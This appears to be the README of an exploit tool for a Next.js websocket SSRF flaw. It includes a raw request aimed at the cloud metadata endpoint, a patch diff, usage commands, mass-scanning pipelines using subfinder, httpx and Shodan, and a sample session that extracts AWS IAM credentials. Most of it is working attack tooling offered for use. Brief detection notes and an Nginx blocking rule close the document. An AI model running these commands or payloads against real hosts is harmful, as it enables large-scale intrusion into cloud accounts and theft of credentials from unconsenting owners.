nextssrf

GET http://169.254.169.254/latest/meta-data/ HTTP/1.1   ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)

git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com

python3 nextssrf.py -t https://target.com

# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws

# Custom internal target
python3 nextssrf.py -t https://target.com \
  --ssrf-host http://internal-api --path /admin

# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep

# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
  python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl

# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json

# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force

python3 nextssrf.py -t https://target.com

╔══════════════════════════════════════════════════╗
║  NextSSRF v2 — Interactive Exploit Shell         ║
║  Target : ec2-x-x-x-x.compute.amazonaws.com     ║
║  CVE    : CVE-2026-44578  |  Status: Connected   ║
╚══════════════════════════════════════════════════╝

nextssrf(ec2-x...)> cloud
  [>] Detecting cloud provider...
  ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
  → Run 'aws' for full credential extraction

nextssrf(ec2-x...)> aws
  [1/3] Instance Information
  [200] Hostname    : ip-172-31-47-134.ec2.internal
  [200] AZ          : us-east-1d
  [200] Account ID  : {"AccountId": "370741706736"}

  [2/3] IAM Role Discovery
  ✓ IAM Role found: my-ec2-role

  [3/3] Credential Extraction
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  🎯 AWS CREDENTIALS EXFILTRATED!
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
  SecretKey   : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  Expiration  : 2026-05-14T22:32:22Z

# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto

# Full recon → exploit pipeline
subfinder -d target.com \
  | httpx -silent -server \
  | grep -i "next" \
  | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl

# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
  | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl

# Check specific version range
cat hosts.txt \
  | python3 nextssrf.py --pipe --force --cloud aws \
  | jq '.[] | select(.ssrf_hits | length > 0)'

# Next.js process logs
Failed to proxy http:/   ← single slash = normalization fingerprint

# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket

# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}